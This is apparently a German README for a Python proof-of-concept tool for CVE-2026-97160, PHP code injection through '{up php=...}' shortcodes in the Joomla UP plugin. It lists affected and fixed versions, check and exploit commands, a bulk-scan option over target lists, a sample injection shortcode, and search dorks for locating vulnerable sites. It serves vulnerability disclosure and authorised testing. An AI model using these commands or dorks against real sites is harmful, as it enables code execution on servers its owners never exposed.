murrez/cve-2026-97160Python-PoC für CVE-2026-97160: erkennt anfällige Versionen des Joomla-UP-Plugins und verifiziert die PHP-Codeausführung über den Shortcode {up php=} in öffentlichen Artikeln.
Python-3-PoC für CVE-2026-97160 — UP (Universal Plugin) für Joomla (lomart.fr / up.lomart.fr).
CVE-2026-97160 — UP-Plugin 5.0.0–5.2.0 und 6.0.0–6.0.29 ermöglichen PHP-Code-Injection über {up php=...}-Shortcodes, die mit eval() verarbeitet werden (CWE-94). Die CNA klassifiziert dies als authentifiziert / hohe Privilegien; vor 6.1.0 / 5.2.1 konnten Artikelautoren die Prüfungen auf reservierte Aktionen durch Namensnormalisierung beim Speichern vs. Rendern umgehen, sodass PHP in einem Artikel für jeden Besucher ausgeführt wurde. CVSS 4.0 9.4 Kritisch. Fix: UP 6.1.0 (Joomla 5.2+) oder 5.2.1 (Joomla 3.10–5.1).
Verwandt (gleiches Release): CVE-2026-97161 (Dateilesen / Traversal), CVE-2026-97162 (SQLi), CVE-2026-97163 (GitHub-Mini-Install).
PoC-Seite: https://pocbit.org/pocs/cve-2026-97160
Katalog: https://pocbit.org/pocs/
| Produkt | UP-Plugin für Joomla (plg_content_up) |
| Pfad | plugins/content/up/ |
| Betroffen | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Behoben | 5.2.1, 6.1.0 |
| Vektor | Artikel-/Modul-Shortcode {up php=...} |
| Zuweiser | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
Lab: Als Admin (oder Autor bei anfälligen Builds) Folgendes in den Artikeltext einfügen:
{up php=echo 'POCBIT-97160-OK';}
Veröffentlichen, dann --mode exploit --article-url <öffentliche URL> ausführen.
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
CVE-2026-97160 PoC: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — privilegierte {up php=}-Shortcode-eval-Code-Injection (Autor-Bypass bei älteren Builds). PoCbit
CVE-2026-97160: In der Joomla-UP-Erweiterung ermöglicht {up php=...} die Ausführung von PHP auf dem Server; behoben mit 6.1.0 / 5.2.1.
Nur autorisierte Tests. Veröffentlichen Sie keine bösartigen Shortcodes auf Websites, die Ihnen nicht gehören.